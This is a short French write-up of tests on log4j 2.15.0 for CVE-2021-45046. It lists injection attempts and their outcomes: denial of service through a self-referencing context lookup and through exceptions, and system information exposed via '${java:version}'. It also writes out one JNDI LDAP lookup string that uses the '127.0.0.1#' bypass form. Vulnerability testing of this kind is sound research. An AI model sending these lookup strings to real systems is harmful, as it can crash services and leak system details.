cve-2021-45046

La RCE de log4j (CVE-2021-44228) a été corrigée dans la version 2.15, mais une nouvelle vulnérabilité CVE-2021-45046 (provoquant un DoS) a été découverte. Voici les résultats des tests effectués.

[Environnement de test] log4j-2.15.0 (api , core) JRE-1.8.0 jdk1.8.0_151 Eclipse IDE (Maven Project)

1. Test de la syntaxe Log4j RCE (CVE-2021-44228) -> Not Vuln

2. Insertion d'un nom d'objet ctx arbitraire -> Not vuln

3. Insertion avec le même nom que l'objet recevant le contexte -> boucle infinie provoquant un DoS

4. Insertion sous la forme ${jndi:ldap://127.0.0.1#[adresse du serveur ldap]} -> UnknownHostException, pas de DoS

5. Format jndi:ldap://[serveur ldap]#[serveur ldap] -> Not vuln

6. Insertion de code Java -> illegalArgmumentException provoquant un DoS

7-1. Insertion de syntaxe Java -> Exposition d'informations système

7-2. Insertion de syntaxe Java -> illegalArgmumentException, DoS généré

-> Lors de la vérification du point de déclenchement de l'illegalArgumentException, la syntaxe Java (${java:version}) qui permet l'exposition d'informations système via une instruction switch case dans 2-5 semble être une routine intentionnelle.